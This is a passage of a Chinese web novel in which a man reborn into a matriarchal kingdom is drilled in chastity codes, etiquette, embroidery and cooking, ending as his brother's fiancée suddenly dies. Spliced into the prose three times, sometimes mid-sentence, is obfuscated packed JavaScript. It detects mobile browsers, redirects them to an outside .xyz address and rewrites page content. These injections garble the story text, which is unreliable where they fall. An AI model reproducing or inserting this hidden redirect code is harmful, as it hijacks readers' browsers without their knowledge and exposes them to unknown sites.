他们出生之初,育子囊不过就是一层薄薄的皮肤,在肚皮上的存在感几乎为零。 要等到十岁以后,才会发育成一层厚实的皮肤膜。育子囊越厚实,孵化后代的成功率就越高。 坤乾国的男子谈婚论嫁时,有一个重要环节是被人摸肚皮,如果肚皮上的育子囊太薄了就没人要。 理由再正当不过了:娶个男人回家连个崽都孵不出来,要他作甚? 梁宽当年就是在摸肚皮环节中胜出,击败蔺东玉的其他议亲对象成功嫁入蔺家。 他生的三个儿子也都继承了这一优点,蔺明和蔺昀都双双发育出一副好肚皮。 如今蔺昭的育子囊也开始发育了,而且发育得比两个哥哥更加厚实,是鼓鼓囊囊的一层。 无论谁来摸都要感慨一句:乖乖个咚,这肚皮孵起蛋来一定给力。 蔺东玉摸得眉开眼笑:“招妹真棒,这肚皮长得太争气了!” 梁宽在一旁很是骄傲地笑道:“我的儿子们都随我,个顶个的长了一张好肚皮,招妹更是青出于蓝。” 蔺昭配合演出地硬挤出一个笑容,笑得比哭还要难看:老天爷,我又不是属帝企鹅的,怎么还给安排上孵蛋了呢? . 肚皮再发育了,就可以开始议亲了。坤乾国的男子基本都是十岁后把婚事提上议程,只有这样婆家才能先“验货”,满意了再下聘。 回到正房后,蔺东玉就和梁宽商议起了蔺昭的婚事。 “招妹这孩子,不但模样生得标致,肚皮也这么争气。咱们可不能浪费了他这么好的条件,得想法子为他高攀一个大户人家才行,日后才能帮衬上曦儿。” “家主所言极是,我也觉得咱们招妹有飞上枝头变凤凰的潜力。如果能被哪位大户人家的千金小姐看上,那就再好不过了。” 顿了一下后,梁宽又底气不足地道:“就是咱们是商贾出身,想把招妹嫁进大户人家当正房老爷,恐怕有点难度呢!” “这点确实不容易,不过也不是完全没有法子。如果有那种正房老爷不在了,夫人要续弦找填房的,以招妹的条件就大有希望。” “这样的话,只怕两人的岁数会差得有点大呢。” “岁数大一点怕啥?那样更知道疼人。能明媒正娶地嫁入高门大户,就算是一个填房,也是很多人想要抢破头的好吧?” 一看蔺东玉面露不悦,梁宽赶紧赔笑道:“家主说得极是,是我见识浅薄了。” “如果能有这样的机会,招妹嫁过去就能是当家主夫的老爷,这样的实惠比什么都强。总好过给人当偏房小爷吧?” “那是,当偏房自然是怎么都比不上当正房的。” “虽然咱们蔺家只是商贾人家,不是什么书香门弟,但也讲究一个好名声。家中的儿郎绝对不能给人当偏房小爷,那样会辱没家风。” 蔺东玉虽然满心想让三儿子嫁入高门大户,但这个嫁必须是八抬大轿明媒正娶的嫁为正夫,而不是一顶小轿随便抬进府的夫侍。 名分很重要,老爷和小爷尽管只是一字之差,却差之毫厘失之千里。 如果蔺昭只是一个地位不高的夫侍,蔺曦也就算不上什么正经亲戚,日后很难得到嫂嫂家的助力。 “想让招妹有高嫁的希望,还得好好教养一番才行。必须养出名门淑男落落大方举止有度的大家风范,以后站出去才能让人高看一眼。” 梁宽附和道:“家主说的都对,只是这方面我恐怕教不了招妹呢。毕竟我只是小户人家出身,大家闺男要如何教养,实在是不知道啊!” “你自然是不行的,想要教养好招妹,得另外请人才行,我自会想办法了。” . 养了一个多月的伤后,蔺昭总算可以下地行走时,就接到蔺东玉的通知以后要上学了。 “真的吗?娘,您真的答应让我去上学读书了?” 蔺曦六岁启蒙开始上学,那时已经八岁的蔺昭也眼巴巴地想要一起去,被蔺东玉想也不想地就否了。 “读书是女儿家的事,男子无才便是德。” 蔺昭特么无语:“……” 现代社会的欧阳斌,并不是一个多么热爱上学的人。经常逃课去网咖玩电子游戏,大学也只是勉强混进了一所三流民办大学。 但无心求学是一回事,压根就不给他学习的机会又是另一回事。 “你这个上学不是读书,而是娘请人来家里教导你,让你学习一些名门淑男的作派。” 蔺昭听得心里一惊:名门淑男的作派是什么鬼呀?拜托别搞我了行不行? 上回为了向大家闺男看齐,蔺东玉安排他缠足。如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353495|183595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想让他向名门淑男学习,还不知道又要整什么妖蛾子。 他自我开解:就算再怎么折腾,总不会惨过缠足吧?只要不是皮肉之苦,那都不叫事了! . 蔺东玉高薪聘请的专业人士很快来蔺家走马上任了。 这人姓贺,年纪五十出头,人称贺阿翁。白白胖胖的一张脸比满月还要圆,胡须剃得连茬都看不到,整个人白皙富态极了。 蔺昭跟贺阿翁照面第一眼的印象就是:唉呀妈呀,他看上去怎么那么像公公呢! 梁宽对贺阿翁十分客气,亲自奉茶招呼他。 因为这位贺阿翁曾经在一位京官家的后宅当差,深谙官宦人家如何教养后宅男子的路数,如今回乡养老还能在这方面发挥一下余热。 “贺阿翁,这就是我家的三个儿郎,日后就有劳您费心了。” 蔺东玉身为商人自然是精明的。 既然请了专业人士进门授课,当然不能只教蔺昭一个人。蔺明和蔺昀也都一起安排上,才不浪费重金砸来的学习资源嘛。 “蔺夫人,贺某定当竭尽全力。” 开学第一课,贺阿翁讲的就是三从四德。 “男子有三从四德的规范要求,你们知道哪三从、哪四德吧?” 蔺明回答道:“三从是未嫁从母,既嫁从妻,妻死从女。” 蔺昀回答道:“四德是男德,男言,男容,男红。” 蔺昭目光呆滞:“……” 这都什么跟什么呀?坤乾国难道是五千年来男尊女卑的封建时代的镜像版本吗? 男权社会以前是怎么给女性套上重重枷锁的,这个女权国度也用同样的标准来要求男性。 看了看回答不出问题还一脸呆相的蔺昭,贺阿翁微微一皱眉:这孩子该不会是聪明面孔笨肚肠的那种草包美男吧? . 第一堂课,贺阿翁把三从四德掰开揉碎了对学生们细细讲述。 这种洗脑包式的授课,蔺昭实在是接受无能。蔺明和蔺昀却都听得很认真,要不是他们不识字,笔记估计都要做上好几页。 第一天就只安排了一堂课,上课结束后梁宽亲自送贺阿翁出门,含蓄地问道:“不知我这三个儿郎,有没有让您觉得朽木不可雕也?” “大郎和二郎都不错,就是三郎可能年纪尚小,听课时不太专心。” 蔺东玉请贺阿翁来教养儿郎们规矩,主要就是为了把蔺昭栽培出来,谁不专心他都不能不专心。 一听这话,梁宽当场表态道:“三郎若是不专心听课,贺阿翁只管打他的手板心,我是绝对不会心疼的。玉不琢不成器,孩子更要好好管教才行。” 贺阿翁了然一笑道:“蔺老爷,你家三郎的模样相当标致,听说肚皮也争气。只要他肯用心学规矩,日后传出品貌非凡的美名,何愁没有好人家来求娶。” 这话梁宽爱听,听得眉开眼笑:“承贺阿翁吉言,日后就拜托您多多费心,重点教养一下三郎了。” “没问题。只要你们不心疼孩子,哪怕他是一棵歪脖子树,我也能把他给掰正了。” 5. 名门淑男培训班 “名门淑男培训班”正式营业了,贺阿翁以严师的姿态每天严格教育三位学生。 每天上午是理论知识课,什么《男诫》《男则》《男训》《男鉴》等对男子品德进行具体规范与约束的洗脑教材包轮番上阵。 每天下午则是实践课,什么立容、坐容、步态、仪态等等,蔺家三兄弟都要在贺阿翁的指点下反复练习。 这天是练步态,贺阿翁采用了一种头顶碗的方法。要求学生们行走时头上的碗不能掉落,还要同时兼顾身姿的挺拔和步态的优美。 蔺明和蔺昀练了几次就找到了决窍,很快就走得有模有样了。 蔺昭则不然,让他头顶一只碗走路,僵硬得跟僵尸有一拼,总之姿态与“优美”二字差了十万八千里。 当初练习立容的时候,他觉得这比军训时的站军姿还要累,现在练习步态才发现更折磨人。 蔺昭天生就平衡感不太好,练这个活像赶鸭子上架一样。那只碗动不动就从他头上滚落下来,如果不是木制的早就彻底报废了。 咣当一声响,木碗第N次落地。贺阿翁手持戒尺,毫不留情地朝蔺昭的臀部抽了一记,厉声厉色道:“再来。” 体罚教育在现代社会早被废除了,但在古代却还是主流教育方式。只要学生们哪里做得不好,贺阿翁就主打一个戒尺伺候。 一个下午的步态训练,蔺昭都记不清自己被戒尺伺候了多少回,感觉屁股快要被打肿了。 他忍不住又呜呜咽咽掉眼泪:我太难了!我好想回家。 曾经的欧阳斌是纯爷们一个,如今的蔺昭是小哭包一枚。 蔺明一看弟弟被打哭了,对着贺阿翁行了一个礼,轻声细语地提议道:“阿翁辛苦了,要不您先回屋喝杯茶歇息一下,我来陪三弟练习。” “也罢,大郎你的步态已经有模有样了,就分些心来教一教三郎吧。” 贺阿翁回屋后,蔺明掏出手帕给蔺昭擦眼泪,一边擦一边哄。 “好了,别哭了,再哭鼻子也没有用,这个步态也还是要练的。早点练好才能少挨板子,来,大哥教你要怎么掌握决窍。” 蔺昀则偷偷从怀里掏出一块芝麻糕塞进蔺昭嘴里,“三弟别哭了,我给你吃好吃的。” 相比少年老成颇有大人状的蔺明,蔺昀还是一个嘴馋爱吃的小吃货,身上经常揣着各类零食。 每次蔺昭哭鼻子,他都会用好吃的来哄他。 “谢谢大哥,谢谢二哥。” 蔺昭也清楚,步态训练如果一直无法通关,自己只会吃上更多苦头。只能擦干眼泪继续跟着蔺明练,力求尽快掌握顶碗走路的技术。 当然,以他天生平衡感欠缺的资质,想要掌握这一技术没那么容易。花了好些天的时间,吃尽无数苦头,才总算是勉强过了关。 . 仪态这门课还有很多细则要求,贺阿翁反复强调的十六字总结是:笑不露齿;坐不漏膝;行不回头;站不倚门。 “这十六个字就是淑男的标准行为规范,你们一定要牢记于心,知道吗?” 蔺明和蔺昀满眼信服地点头道:“学生谨记。” 蔺昭表面点头心里骂街:我去你大爷的淑男行为规范。 “下面我给你们详细讲一讲为什么要遵守这些行为规范。第一笑不露齿,笑的时候如果露出牙齿那就会笑得太大声,那样不庄重;第二坐不漏膝,坐的时候如果会漏出双膝也就说明坐姿不端正,也就很不庄重;第三行不回头,这句话的意思是走路时不要东张西望,眼神瞟来瞟去更是很不庄重的行为;第三站不倚门,为什么男子不能倚门站着?你们知道吗?” 蔺明回答道:“阿翁,因为好人家的儿郎都是大门不出二门不迈的,自然更加不能站在门口抛头露面了。” “这是原因之一,还有原因之二。因为青楼男子都是倚门卖笑招揽恩客的,所以正经人家的淑男绝对不能自甘下贱效仿这种行为。” 讲解完了这十六字的行为规范后,贺阿翁又亲自上阵,对三个学生示范了一下何谓“笑不露齿;坐不漏膝;行不回头;站不倚门”。 “看到没有,笑的时候要这样微笑,如果一定要大笑,必须用手帕掩住嘴。坐的时候双膝一定要并拢,衣衫下摆必须整整齐齐地盖住腿。走路的时候要目视前方,不能东张西望。步态要不急不缓,不能把双脚露出来。为什么就无需我多作解释了吧?” 这个问题蔺昀知道,开启了抢答模式。 “因为男子不能轻易在外人面前露出自己的脚,只有嫁人后妻子才能看。” “没错,正是如此。其实不只是脚,像手也不能轻易被人摸。要知道男子的贞洁大过天,身体绝对不能随便被人触碰,否则都算对贞操的破坏。” 顿了一下后,贺阿翁点名让年纪最小的蔺昭回答问题:“三郎,你知道什么是贞操吗?” 蔺昭真心不想回答这种脑残问题,干脆堆出一脸年少无知的迷惑神色摇头。 贺阿翁走到他身边,掀开他左手的衣袖,露出小臂上一个朱砂红的小圆点。 他语重心长道:“这个守宫砂就是你的贞操,你们必须守身如玉,在正式出嫁前绝对不能失贞。否则就是淫夫,要被浸猪笼的。” . 坤乾国的男婴,出生不久后就会被点上守宫砂,这是检验他们贞洁与否的重要标志。一旦失贞,守宫砂就会消失。 蔺昭对此深表怀疑:这玩意儿的原理是什么?感觉一点也不科学呀!真的管用吗? 可是这么不科学的法子,却成了检验男子有没有失贞的唯一标准。惩罚方式还是残酷之极的浸猪笼,一旦出了错就会冤死一条命。 “阿翁,这个会不会出错啊?” 蔺昭问得小心翼翼,贺阿翁听得十分不悦。 “怎么会出错?男子是否守身如玉,就看守宫砂是否完好如初。只要守宫砂没了,那肯定就是淫夫,只能被拖去浸猪笼,没有任何借口可以狡辩。” 蔺昭争辩道:“如果是被别人强行那个什么失去了清白呢?那样的话可就是受害人,总不能还要他的命吧?” 贺阿翁不假思索地道:“一个男人如果失去了清白与贞洁,就算活着也永远抬不起头来做人。如果你们不幸遭遇□□,要么宁死不从;要么事后羞愤自尽;绝对好过一辈子活在别人鄙视的目光中。” 蔺昭算是听明白了,坤乾国的男人只要失了贞,无论是自愿的还是被迫的,结果横竖都是一个死字。 他忍不住瑟瑟发抖,第N次暗中哀嚎:这里好可怕,我想回家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353496|183595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> . 头天讲了一番“贞洁大过天”后,次日上午贺阿翁上理论课时,特意拿了一本《烈男传》充当教材,继续强化这一重点。 “凡为男子,先学立身。立身之法,惟务清、贞,清则身洁,贞则身荣……” 贺阿翁最初照本宣科念的这些洗脑包内容,听得蔺昭昏昏欲睡。等到他开始逐个细说文中记载的烈男事迹时,他的瞌睡虫顿时全被吓跑了。 某女子病重将死,其丈夫为表示自己守节的决心,用一把刀子当众剜掉自己的一只眼睛; 某男子年方十六妻子就病逝了,父母劝他改嫁,他却亲自动手割去双耳,立誓绝不事二妻; 某寡夫守寡多年,夜里从不踏出家门半步。有一晚家里不慎失火,他也坚决不肯跑出屋避火,宁愿活活被烧死。 这些被严重洗脑的男人为了守节,不惜剜掉眼睛、割掉耳朵的自残行为,蔺昭还算是勉强可以理解。 但是,他实在理解不了那个寡夫为什么不肯逃离火场。 “阿翁,他为什么不逃啊?” “因为按照寡夫守寡的规矩,夜里不能离开屋子。所以他没有逃离火场,而是留下了一句掷地有声的话:越过礼仪而求生,不如坚守礼仪而死去。此事轰动一时,地方官上报朝廷后获准为他立了一座牌坊,以彰显其名声气节。从此千秋万代供人敬仰,虽死犹生。” 贺阿翁慷慨激昂地给三个学生灌鸡汤,可是这种贞操论的毒鸡汤,让蔺昭听了抓狂得不要不要的。 为了所谓的守贞心甘情愿选择活活被烧死,这是什么无敌的PUA技术啊?传销组织与之相比简直弱爆了。 讲完了这些嫁过人的男子的光荣事迹后,贺阿翁还不算完,又继续给三个学生灌毒鸡汤,接着讲尚未出嫁的未婚男子是如何三贞九烈的。 某少男在一次发水灾时差点被河水卷走,当时有个壮妇一把拽住他的左臂。 水退后他第一件事就是找把菜刀剁掉了自己的左臂——“我十几年的贞洁,怎能被一个陌生女子污了手臂?” 某少男恪守大门不出二门不迈的规矩,终日深藏闺中不见外人。 某天两个浪□□爬墙偷窥了他睡午觉,他发现后羞愤不已,选择自缢而死,留下遗书道:清白之躯不堪受辱,愿以一死维护贞洁。 “你们说,这些节义之夫、贞烈之男,是不是很值得人们崇敬呢?” 面对贺阿翁的循循诱导,蔺明和蔺昀都像鸡啄米一样地直点头。 蔺昭却呆若木鸡地发着愣:不是吧?多大点事啊,居然一个剁了手臂,另一个还寻了短见。这变态的贞操观,简直就是离谱他妈给离谱开门,离谱到家了。 “三郎,你在想什么?” 贺阿翁的问题让蔺昭回过神来,他很清楚自己该怎么回答,口不对着心地开始了自己的表演。 “阿翁,我在想他们太了不起了,真是值得我们学习的好榜样。” 这个可谓是标准答案中的标准答案,贺阿翁十分满意地摸了摸蔺昭的小脑袋瓜:“嗯,孺子可教也!” 蔺昭礼貌微笑,暗中BB:其实我一点也不可教,因为我TM压根就不想学这些封建糟粕的玩意儿。要不是实在没办法,老子才不会坐在这儿听你扯淡呢! 6. 男红 “名门淑男培训班”一直办到年底才结束,在这小半年的时间里,蔺昭被迫学会了所谓名门淑男的作派。 贺阿翁还搞了一个类似毕业典礼的仪式,让蔺家三兄弟在蔺东玉面前展示自己的学习成果,其中仪态变化是最直观的东西。 “蔺夫人请看,三位郎君都行不摆裾,坐不摇膝,举手有礼,投足轻盈,处处流露着名门淑男应有的端方持重,温文尔雅。” 蔺东玉满意极了,“不愧是贺阿翁用心调教出来的,我这三个儿子真是变化太大了。” 梁宽站在妻子身后,也喜孜孜地道:“可不是嘛,这变化简直就是判若两人呢。” 贺阿翁正色道:“仪态端庄还是其次,品格端方才是最重要的。这段日子里,我更注重于培养三位儿郎务必要坚守贞节的观念,他日才不会做出有辱门楣的败德之举。” “对对对,这一点至关重要。多谢贺阿翁费心,束侑定会加倍奉上。” 蔺昭表面上一幅眼观鼻鼻观心的端庄姿态,暗地里却翻了一个大白眼:玛丽隔壁的,什么坚守贞节的观念,根本就是礼教吃人了。 这种想法他只敢腹诽不敢说出口,否则就是自讨苦吃。人在屋檐下,不得不低头。 在这个女尊男卑的国度努力苟活,只能是他被迫适应这个社会,而不可能社会来适应他。 . 年一过开了春,又是新的一年降临。 这年蔺明十六岁,将要出阁嫁去樊家。婚期订于初秋时节,只剩半年时间,要紧锣密鼓地开始备嫁了。 即将嫁为人夫的蔺明整天呆在屋里做男红,日复一日地缝衣裳做鞋袜。 按照习俗新女婿进门时,要为妻子与公婆送上自己亲手制作的衣裳和鞋袜。 蔺昀每天都会过去帮兄长打下手,他的男红活也做得不赖,这方面是蔺明的一大助力。蔺昭也必须跟着两个哥哥开始学习男红。 现代社会的欧阳斌,连颗纽扣都没有缝过。如今变成了蔺昭,却要开始挑战刺绣与缝纫这种高难度的活计。 最初,他连一根针都捏不稳,动辄扎到自己的手指,疼得哇哇大叫。 如果可以选择,蔺昭一百个一千个一万个不想学这劳什子的男红。可是蔺东玉不但要他学,还必须要学好才行。 “男红乃四德之一,相当重要,招妹你无论如何要把它给学精了,知道吗?” 蔺昭还能说什么?只能乖乖点头道:“是,娘。” 整天关在家里跟针线活打交道,对蔺昭来说是一件无聊又痛苦的事。他很想很想出门放个风透透气,却连大门都走不出去。 既然蔺东玉想把三儿子往大家闺男的方向培养,自然也要让他恪守大门不出二门不迈的大家规矩,轻易不准他离家一步。 蔺昭感觉自己比坐牢的囚犯还要惨。囚犯好歹还有放风的机会,他却只能整日关在家里做没完没了的针线活,还连个工资都没人发。 . 把手指头扎破无数次后,蔺昭勉强掌握了基本的绣花与缝纫技巧,但是距离精通还差得远呢。 同样是绣牡丹花,蔺明绣出来的栩栩如生,蔺昭绣出来的却惨不忍睹,抽象得活像毕加索的画,不说都没人能看出来是朵花。 这样的成绩自然不能让蔺东玉满意,“招妹,以后你每天绣一朵花,绣不好就不准吃晚饭。” 蔺昭傻眼了:“……” 这个规矩实施的第二天,蔺昭当然不可能一下子就能把花绣好。结果蔺东玉说到做到,当晚就把他的晚饭省了。 吃不上饭的蔺昭饿得肚子咕咕叫,还好蔺昀这个小吃货够义气,背着蔺东玉和梁宽偷偷给他送了一点吃食过来。 “三弟,这是大哥下午特意留着没吃的核桃酥,还有我攒着没吃的几块桂花糕,都拿来给你充饥了。” 蔺家除了一日三餐外,下午还有一顿点心。 这天的点心是核桃酥,蔺明一看蔺昭绣的花担心他过不了关要挨饿,就把自己的两块核桃酥留起来以防万一,果然派上用场了。 平时蔺昭并不太爱吃甜食,现在肚子饿了却吃得狼吞虎咽,一边吃一边含糊不清地说:“谢谢大哥二哥,你们真好。” “自家兄弟客气啥,我们是哥哥,当然要关照弟弟了。你慢点吃,当心噎着,我去给你倒杯水。” 无论是温和稳重的蔺明,还是嘴馋贪吃不那么稳重的蔺昀,在蔺昭面前都很有哥哥爱护弟弟的范儿。 接过蔺昀递来的一杯温水,蔺昭发自内心地再次强调道:“二哥,你和大哥真是我的好哥哥。” 蔺东玉把绣活的好坏直接跟能否吃上饭挂钩,这就容不得蔺昭不下苦功了。 他这把年纪正是长身体的时候,一顿能吃三碗饭,要是每天都没晚饭吃那可是吃不消的。 世上无难事,只怕有心人。为了吃上饱饭的蔺昭,被迫在针线活上狠下了一番功夫,很快就卓见成效。 曾几何时,他连纽扣都不知道怎么缝,如今却能绣出一朵像模像样的花。 蔺东玉却道:“只是暂且看得过去了,还要继续精益求精才行。儿郎一定要有一手好男红,将来说婆家时更能说得上好人家。” 蔺昭嘴角一抽:“……” 他感觉自己像头小猪仔,蔺东玉正在想方设法把他养肥了,就指望着日后能遇上好买主卖个好价钱。 . 除了所谓的男红外,蔺昭还有一项学习任务,那就是烹饪。 烹饪课由梁宽担任导师,亲自教授三个儿子如何洗手做羹汤。蔺明和蔺昀都已经出师了,蔺昭则刚刚开始上手。 现代社会的欧阳斌,一向是衣来伸手饭来张口,从没进过厨房,认定那是女人家的事,跟大老爷们无关。 然而在坤乾国,洗衣做饭操持家务,都是属于男人的活计。 “招妹,身为男子,婚后为妻子做饭是天经地义的事。所以你一定要学会做饭,而且还要做得好吃才行。你要牢记一点:想要抓住女人的心,首先就得抓住她的胃。” 蔺昭:“……” 好吧,受教了! “像你娘吃惯了我做的饭菜,别人做的都不合她的胃口,自然而然也就离不开我了。” 蔺昭知趣地捧场道:“爹的厨艺确实了得。” “那是,这些年我在厨艺方面花了不少功夫,如今可以全部传授于你。招妹,你可要好好学啊!” 我能不学吗——这句话到了嘴边被蔺昭咽了下去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353497|183595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他根本就没有选择的权利,何苦来着多此一问呢?那样只会让梁宽再给他多加一堂苦口婆心的教育课。 想了想他决定换个方式,“爹,大家闺男们平时都有下人伺候的,他们应该不用学做饭吧?” 蔺昭的言外之意很明显:你们平时不是总让我向大学闺男看齐吗?如果他们都不用学的话,那我也可以不学吧? 梁宽却道:“要的,这方面他们也要学,只是不需要学得太细。总要学会做几道菜,过三朝那天要亲手做给婆母和公爹吃。” 新女婿嫁到婆家第三天,俗称过三朝,按照习俗要亲自下厨做上一桌菜肴以事婆母公爹。 认命地叹口气后,蔺昭一如既往地扮乖巧状:“是,爹,我会好好学的。” 就这样,继解锁了针线活技能后,蔺昭又开始学习煮饭烧菜。 刚拿惯绣花针的手学着怎么握菜刀练刀工,怎么处理食材,怎么使用调料,怎么掌握火候等等等等。 每天上午跟着梁宽学着当煮饭公,每天下午则切换到绣郎模式,继续死磕必须要精益求精的男红,蔺昭感觉自己活得像个被压榨的童工。 ——我太难了!在坤乾国做男人,真不如做头公牛。 . 与三个哥哥相比,蔺曦就活得轻松多了。 她既不用学针线活,也不用学煮饭烧菜,这些都是男人们的事,身为蔺家唯一一个有希望光宗耀祖的女儿,她只要好好学习天天向上就行了。 在女尊男卑的坤乾国,唯有女子才能进学堂念书,也唯有女子才能参考科举入仕。 男子是没有这种机会的,因为社会价值观认定男子无才便是德,所以剥夺了他们受教育的权利。 既然只有女子才能通过知识改变命运,继而为整个家族带来荣耀,家庭资源乃至社会资源自然都会往女性方面倾斜,男子只能沦为附属品。 这天蔺曦放学归来,非常骄傲地告诉蔺东玉:“娘,今天夫子夸我了。” “哦,为什么夸你呀?” “因为夫子教过的经书我都能背滚瓜烂熟,无论抽哪一段都能倒背如流。夫子不但夸了我,还说要推荐我去京城参加今年秋闱的童子科。” 童子科是朝廷为了选拔神童而设立的科举项目,年纪规定要在十岁以下,必须精通九经之一以及《论语》和《孝经》。 能背诵十篇文章还能写诗作赋的,可以直接授予官职;不能写诗作赋的,可以授予出身。 一听夫子要推荐女儿参加童子科,蔺东玉那叫一个喜出望外,梁宽也开心得合不拢嘴。 “太好了,家主,咱们的曦儿看来要有大出息了。” “那是,我宝贝闺女过目不忘,绝非池中之物。宽郎,今晚再加两个菜好好庆祝一下。” “好,我这就去,招妹,你过来帮忙。” 弄明白了童子科是怎么一回事后,蔺昭就懂了:如果蔺曦能在童子科取得一个好成绩,等于九岁就能成功上岸当国家公务员,那这小丫头可就实在太牛逼了! 古代的公务员可比现代的更能光耀门楣,况且蔺家是商贾之家,女儿要是能通过科举致仕,以后就是官宦人家。那可是一个质的飞跃,对整个家族来说都意义重大。 7. 望门寡 仲夏时节,绿树荫浓。 炎热的午后,午睡刚醒的蔺昭正躺在床上打着哈欠,伸着懒腰,忽然听到外头传来一阵门板被擂得咚咚作响的声音。 咦,这么热的天气,谁这个时候跑来敲门?而且还是这种砸门式敲法,像是出了什么大事的样子。 蔺家有一个人到中年负责打杂的男仆,听到动静前去开门,领了一个神色仓惶的小厮进来,双双站在正屋的台阶前。 “老爷,樊家派人过来,说是有要事禀报。” 梁宽也被惊醒了,他翻个身从床上爬起来,头发是散的,衣裳是乱的,不适合见客,就隔着窗棂发问道:“什么事啊?” 那小厮带着哭腔大声回答道:“蔺老爷,我家二娘子她……她刚刚因为暑热闭痧没了。” 樊家二娘子,就是蔺明的未婚妻子,再有不到两个月二人就要成亲了。 梁宽听得一张脸霍然变色,他不敢相信自己的耳朵,失声追问道:“你说清楚一点,什么叫作没了?” “就是我家二娘子不幸急病身亡了。” 这个噩耗宛如一道晴天霹雳,别说梁宽,就连西厢房里旁听的蔺昭都被震懵了。 “怎么会这样?” “谁都没想到会这样。二娘子上午和几个朋友一块去西山游猎,晒了半天毒日头,回到家就一口气喝了一壶酸梅饮,又吃了半个冰镇西瓜,结果导致闭了痧。大夫被请过来的时候,人已经昏厥过去了,还浑身痉挛不止。救了半天还是没救过来,未正三刻咽了气,我家老爷已经哭成了泪人儿一个。” . 小厮报完丧离开后,心乱如麻的梁宽匆忙穿好衣裳,走进了蔺明的屋子。 刚才的噩耗,蔺家长耳朵的人都能听见,蔺明自然也不会例外。 他整个人活像石化了似的,呆坐在绣棚前一动不动。绣布上一双戏水鸳鸯已经基本完工,活灵活现。 “明郎,你都听见了吧?唉,真没想到樊二娘会突然急病身亡,你们这桩婚事只能就此作罢。好在你还没有嫁过去,否则就要直接从新郎变寡夫,还得守上一辈子的寡。” 梁宽安慰蔺明的话,他似听非听,整个人活像丢了魂似的。刚进屋的蔺昭倒是深以为然地直点头。 “是啊大哥,你算运气好,如果樊二娘是婚后突然病死,那你一嫁过去就要守寡了。” 蔺明还是一脸失魂落魄的神色,一声不响地沉默着。 “明郎,看来你和樊二娘命中无缘,做不了她的丈夫,你要嫁的妻子另有其人。回头我让你娘再替你物色一个好婆家啊!” 安慰了蔺明几句后梁宽就先走了,他急着赶去茶庄把这个噩耗告诉蔺东玉。 “招妹,我出去一趟,你留在这里好好陪着你大哥,知道吗?” “爹放心,我会的。” “对了,昀郎呢?” “二哥应该是还在午睡吧。” 蔺昀这个小吃货能吃又能睡,睡熟了就连打雷都吵不醒。 未来大嫂突然暴病身亡这么大的事,他一点也不知道,还在睡梦中啃着香喷喷的桂花糕呢。 梁宽走后,蔺昭守在失魂落魄的蔺明身边开导他。 “大哥,你别难过了。樊二娘虽然是你的未婚妻,可是你连她的面都没见过,就是父母之命媒妁之言订下的亲事。除了有个未婚妻的名头外,她于你而言根本就是陌生人一个,你实在没必要太过伤心了。” 蔺明声音嘶哑地低声道:“虽然没有见过面,可她终究是我的未婚妻,我本该是要和她过上一辈子的。如今她突然撒手人寰走了,丢下我一个人可怎么办啊?” “什么怎么办啊?死去的人已经死去,活着的人还得好好活着。她没福气不能跟你过上一辈子,自然另外有有福气的人。大哥,你就放心吧,我相信娘一定能为你再寻一户好婆家的。” 蔺明却摇头道:“一夫事一妇,安可再移天。我既然已经许给了樊二娘为夫,这一生就生是她的人、死是她的鬼。” 蔺昭听得心里格登一下:“大哥,你不是想给樊二娘守望门寡吧?快别犯这种糊涂了。” 蔺明不置可否地沉默着,等同一种无声的默认。 蔺昭简直没法不抓狂:我靠,贺老头那套贞节至上的洗脑包真是威力了得。大哥都已经侥幸摆脱了当寡夫的命运,却还主动想去守这个望门寡,简直就是自己往火坑里跳啊! . 蔺氏茶庄,蔺东玉刚刚听梁宽说了樊二娘突然病故的事,眉头紧锁着良久无声。 “家主,樊二娘突然没了,那咱们明郎以后还能再说上一桩好婚事吗?” 蔺东玉叹口气道:“难了。婚期在即,新娘却突然暴毙,未过门的新郎往往会落个克妻的名声。讲究的人家大都宁可信其有、不可信其无,不可能会再来提亲。” 梁宽也担心这一点,绞着双手满脸愁苦担忧的神色。 “照这么说,明郎以后恐怕是找不着好婆家了?” “是啊,那些肯来议亲的人家肯定都家境不如咱们,也会狮子大开口地翻倍要嫁妆。这倒也罢了,无非就是多给几个钱。但花钱也买不了平安,只要明郎出嫁后婆家遇上什么不好的事,都得怪到他头上,会有受不完的腌臢气。” “家主,那可怎么办啊?难道明郎这辈子就要这样交代了吗?” “这世道男子不易,哪怕咱们明郎一向循规蹈矩,从来没有出过半点差错,但樊二娘这一死,他的后半生想要活好就难了。” “家主,如果明郎日后一直找不到好婆家,要不咱们就一直养着他吧,总好过把他嫁出去遭人作践,您说呢?” 蔺东玉思索片刻后点了点头。 